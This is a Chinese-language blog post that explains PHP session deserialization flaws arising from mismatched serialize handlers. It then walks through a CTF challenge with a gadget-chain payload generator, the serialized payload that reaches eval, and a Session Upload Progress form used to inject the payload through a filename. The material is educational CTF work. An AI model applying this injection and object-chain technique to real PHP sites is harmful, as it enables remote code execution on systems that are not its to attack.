返回

PHP Session Unserialize Vulnerability

Session…

Session反序列化漏洞

关于session的配置项在php.ini中存在四处

session.save_path = "" 设置session存储路径
session.save_handler = "" 设定余户自定义存储函数
session.auto_start boolen 指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler string 定义序列化/反序列化的处理器名字,默认是php

关于sesion_serialize_handler
session.serialize_handler 定义用来序列化/解序列化的处理器名字。 当前支持 PHP 序列化格式 (名为 php_serialize)、 PHP PHP 内部格式 (名为 php 及 php_binary) 和 WDDX (名为 wddx)。 如果 PHP 编译时加入了 WDDX 支持,则只能用 WDDX。 自 PHP 5.5.4 起可以使用 php_serialize。 php_serialize 在内部简单地直接使用 serialize/unserialize 函数,并且不会有 php 和 php_binary 所具有的限制。 使用较旧的序列化处理器导致 $_SESSION 的索引既不能是数字也不能包含特殊字符(| and !) 。 使用 php_serialize 避免脚本退出时,数字及特殊字符索引导致出错。 默认使用 php。

三种序列化处理器

php_binary: 存储格式-> 键名长度对应的ASCII字符+键名+经过serialize()序列化过的值
php: 存储格式-> 键名+竖线+经过serialize()序列化过的值
php_serialize(php>5.5.4): 存储格式-> 经过serialize()序列化过的值

$_SESSION['test] = 'idlefire'对应结果如下

漏洞成因

PHP在存取$_SESSION时,使用的的引擎不同.

<?php
  ini_set('session.serialize_handler', 'php_serialize');
  session_start();
  $_SESSION['test'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';

执行完上文代码会在session文件中写入序列化的值.

<?php
  session_start();
  class A {
      public $a = 'aa';
      function __wakeup() {
        echo $this->a;
    }
}
  var_dump($_SESSION);

执行之后会打印xx

原因:序列化session时使用的是php_serialize,而反序列化的时候采用的是php.php引擎会以|作为分隔符,分为key和value.那么a:1:{s:5:"test2";s:30:"作为键名,O:1:"A":1:{s:1:"a";s:2:"xx";}作为键值被反序列化之后变成了A类并且执行了__weakup方法.(利用点就在于默认使用php引擎获取session).

借助安恒的一道CTF题加深印象. 看到部分关键代码. index.php

<?php
  ini_set('session.serialize_handler', 'php');
  require("./class.php");
  session_start();
  $obj = new foo1();
  $obj->varr = "phpinfo.php";
?>

class.php

<?php
highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
class foo1{
        public $varr;
        function __construct(){
                $this->varr = "index.php";
        }
        function __destruct(){
                if(file_exists($this->varr)){
                        echo "<br>文件".$this->varr."存在<br>";
                }
                echo "<br>这是foo1的析构函数<br>";
        }
}
class foo2{
        public $varr;
        public $obj;
        function __construct(){
                $this->varr = '1234567890';
                $this->obj = null;
        }
        function __toString(){
                $this->obj->execute();
                return $this->varr;
        }
        function __desctuct(){
                echo "<br>这是foo2的析构函数<br>";
        }
}
class foo3{
        public $varr;
        function execute(){
                eval($this->varr);
        }
        function __desctuct(){
                echo "<br>这是foo3的析构函数<br>";
        }
}
?>

我们可以看出这道题的关键就是foo3类中eval函数,其中关于__toString调用是由于file_exits函数判断时会把参数进行字符串转变,并且在index.php中读取session的处理器是php(这里我猜测当时题目的php环境session.serialize_handler默认是php_serialize). 接着就需要构造payload了.

payload.php

<?php
class foo3{
    public $varr = 'phpinfo();';
  }

  class foo2{
    public $varr;
    public $obj;
    function __construct(){
      $this->varr = '123';
      $this->obj = new foo3();
    }
  }

  class foo1{
    public $varr;
    function __construct(){
      $this->varr = new foo2() ;
    }
  }

  $foo = new foo1();
  echo serialize($foo);
?>

生成payload

O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:3:"123";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:10:"phpinfo();";}}}

但是这里并没有可以对session进行赋值的操作,根据phpinfo中给的一个关键信息.

这里的session.upload_gress.enableon,就可以使用Session Upload Progress进行文件上传,从而将session写入.

关于Session Upload Progress的相关配置参数

session.upload_progress.enabled[=On/Off] : 是否启用上传进度报告(默认开启)
session.upload_progress.cleanup[=On/Off] : 是否在上传完成后及时删除进度数据(默认开启, 推荐开启).
session.upload_progress.prefix[=upload_progress_] : 进度数据将存储在_SESSION[session.upload_progress.prefix . _POST[session.upload_progress.name]]

session.upload_progress.name[=PHP_SESSION_UPLOAD_PROGRESS] : 如果_POST[session.upload_progress.name]没有被设置, 则不会报告进度.

session.upload_progress.freq[=1%] : 更新进度的频率(已经处理的字节数), 也支持百分比表示’%’.
session.upload_progress.min_freq[=1.0] : 更新进度的时间间隔(秒级)

总而言之,如果POST一个名为<?php ini_get('session.upload_progress.name');?>的变量,同时上传文件的话,可以将文件名写入到session中. session_upload_progress.php

<form action='index.php' method="post" enctype="multipart/form-data">
  <input type="hidden" name="<?php echo ini_get("session.upload_progress.name");?>" value="idlefire"/>
  <input type="file" name="file"/>
  <input type="submit"/>
</form>

抓包之后修改文件名,注意需要转义并且在添加个|.

|O:4:\"foo1\":1:{s:4:\"varr\";O:4:\"foo2\":2:{s:4:\"varr\";s:3:\"123\";s:3:\"obj\";O:4:\"foo3\":1:{s:4:\"varr\";s:10:\"phpinfo();\";}}}

执行之后.

注:在本地配置环境时需要将session.upload_progress.enabled设置为On,把session.upload_progress.cleanup设置为Off

(ง •_•)ง

Licensed under CC BY-NC-SA 4.0